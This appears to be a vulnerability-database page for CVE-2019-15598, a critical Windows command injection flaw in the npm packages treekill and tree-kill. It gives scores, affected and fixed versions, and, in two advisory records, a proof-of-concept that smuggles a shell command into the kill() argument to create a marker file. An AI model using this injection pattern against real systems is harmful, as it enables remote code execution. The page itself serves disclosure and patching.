Every CVE Search/ Get API key

CVE-2019-15598

Treekill Enables OS Command Injection

9.8 CriticalFix available

A Code Injection exists in treekill on Windows which allows a remote code execution when an attacker is able to control the input into the command.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

2.74%Up 1.8 points since Apr 14, 2021
90%50%10%1%

What each source reports

NVD Score used 9.8

A Code Injection exists in treekill on Windows which allows a remote code execution when an attacker is able to control the input into the command.

Record
CVE-2019-15598
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS 2.0
7.5 HighAV:N/AC:L/Au:N/C:P/I:P/A:P
Weakness
CWE-94, CWE-78
Updated
2026-11-02
CVE List No score

A Code Injection exists in treekill on Windows which allows a remote code execution when an attacker is able to control the input into the command.

Record
CVE-2019-15598
Weakness
CWE-94
Updated
2026-11-02
EUVDEUVD-2022-4302 No score

A Code Injection exists in treekill on Windows which allows a remote code execution when an attacker is able to control the input into the command.

Record
EUVD-2022-4302
Updated
2026-11-03
GitHub AdvisoriesGHSA-j7fq-p9q7-5wfv 9.8

Treekill Enables OS Command Injection

A Code Injection exists in treekill and tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command.

Steps To Reproduce:

Create the following PoC file:

var kill = require('treekill');
kill('3333332 & echo "HACKED" > HACKED.txt & ');

Execute the following commands in terminal:

npm i treekill # Install affected module
dir # Check *HACKED.txt* doesn't exist
node poc.js #  Run the PoC
dir # Now *HACKED.txt* exists :)

The HACKED.txt has been created

Record
GHSA-j7fq-p9q7-5wfv
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-78
Updated
2026-11-02
OSVGHSA-j7fq-p9q7-5wfv 9.8

Treekill Enables OS Command Injection

A Code Injection exists in treekill and tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command.

Steps To Reproduce:

Create the following PoC file:

var kill = require('treekill');
kill('3333332 & echo "HACKED" > HACKED.txt & ');

Execute the following commands in terminal:

npm i treekill # Install affected module
dir # Check *HACKED.txt* doesn't exist
node poc.js #  Run the PoC
dir # Now *HACKED.txt* exists :)

The HACKED.txt has been created

Record
GHSA-j7fq-p9q7-5wfv
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-78
Updated
2026-11-02
OSVCLSA-2026-1776731777 No score

TuxCare security update for tree-kill (2 CVEs)

TuxCare rebuilt tree-kill to address 2 CVEs. Fixed in 1.2.1-tuxcare.1.

Record
CLSA-2026-1776731777
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
tree-kill
npm
before 1.2.2
1.2.2
tree-kill
TuxCare:npm
From an advisory covering 2 CVEs
1.2.1-tuxcare.0 up to 1.2.1-tuxcare.1, plus listed versions
1.2.1
1.2.1-tuxcare.1

History

History
RecordedChangedSources
affected, facts
aliasesEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2019-15598 is a critical vulnerability (CVSS 9.8) in Tree-kill Project Tree-kill, published December 18, 2019. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 2.74%, the 86th percentile. Fixed in tree-kill 1.2.2.

References

Show 4 moreShow less
MoveEnter Open